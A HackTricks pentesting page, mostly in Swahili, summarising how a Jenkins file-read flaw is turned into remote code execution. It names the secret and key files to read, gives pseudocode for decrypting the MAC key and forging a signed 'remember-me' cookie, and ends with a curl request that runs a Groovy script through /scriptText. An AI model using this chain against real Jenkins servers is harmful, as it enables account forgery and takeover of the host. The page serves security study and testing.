Jenkins Arbitrary File Read to RCE via "Remember Me"

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Katika chapisho hili la blog, inawezekana kupata njia nzuri ya kubadilisha udhaifu wa Local File Inclusion katika Jenkins kuwa RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Hii ni muhtasari ulioandikwa na AI wa sehemu ya chapisho ambapo ufundi wa kuki isiyo ya kawaida unatumika vibaya kupata RCE kwa kutumia kusoma faili za ndani hadi nitakapokuwa na muda wa kuunda muhtasari wangu mwenyewe:

Masharti ya Shambulio

  • Mahitaji ya Kipengele: "Remember me" lazima iwe imewezeshwa (mipangilio ya default).

  • Viwango vya Ufikiaji: Mshambuliaji anahitaji ruhusa za Jumla/Soma.

  • Ufikiaji wa Siri: Uwezo wa kusoma maudhui ya binary na maandiko kutoka kwa faili muhimu.

Mchakato wa Kina wa Kutekeleza

Hatua ya 1: Kukusanya Data

Ukurasa wa Taarifa za Mtumiaji

  • Fikia usanidi wa mtumiaji na siri kutoka $JENKINS_HOME/users/*.xml kwa kila mtumiaji ili kukusanya:

  • Jina la mtumiaji

  • Mbegu ya mtumiaji

  • Wakati

  • Hash ya nywila

Uondoaji wa Funguo za Siri

  • Ondoa funguo za cryptographic zinazotumika kwa ajili ya kusaini kuki:

  • Funguo ya Siri: $JENKINS_HOME/secret.key

  • Funguo Kuu: $JENKINS_HOME/secrets/master.key

  • Faili ya Funguo ya MAC: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Hatua ya 2: Uundaji wa Kuki

Maandalizi ya Token

  • Hesabu Wakati wa Kuisha wa Token:

tokenExpiryTime = currentServerTimeInMillis() + 3600000  // Ongeza saa moja kwa wakati wa sasa
  • Unganisha Data kwa Token:

token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

Ufunguo wa MAC Ufunguliwe

  • Fungua Faili ya Funguo ya MAC:

key = toAes128Key(masterKey)  // Badilisha funguo kuu kuwa muundo wa funguo za AES128
decrypted = AES.decrypt(macFile, key)  // Fungua faili ya .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Hesabu Saini

  • Hesabu HMAC SHA256:

mac = HmacSHA256(token, macKey)  // Hesabu HMAC kwa kutumia token na funguo ya MAC
tokenSignature = bytesToHexString(mac)  // Badilisha MAC kuwa mfuatano wa hexadecimal

Ufungaji wa Kuki

  • Unda Kuki ya Mwisho:

cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // Fanya base64 encode data ya kuki

Hatua ya 3: Utekelezaji wa Msimbo

Uthibitishaji wa Kikao

  • Pata CSRF na Token za Kikao:

  • Fanya ombi kwa /crumbIssuer/api/json ili kupata Jenkins-Crumb.

  • Kamata JSESSIONID kutoka kwa jibu, ambayo itatumika pamoja na kuki ya remember-me.

Ombi la Utekelezaji wa Amri

  • Tuma Ombi la POST na Skripti ya Groovy:

curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Skripti ya Groovy inaweza kutumika kutekeleza amri za kiwango cha mfumo au shughuli nyingine ndani ya mazingira ya Jenkins.

Mfano wa amri ya curl iliyotolewa inaonyesha jinsi ya kufanya ombi kwa Jenkins na vichwa na kuki zinazohitajika ili kutekeleza msimbo usio wa kawaida kwa usalama.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated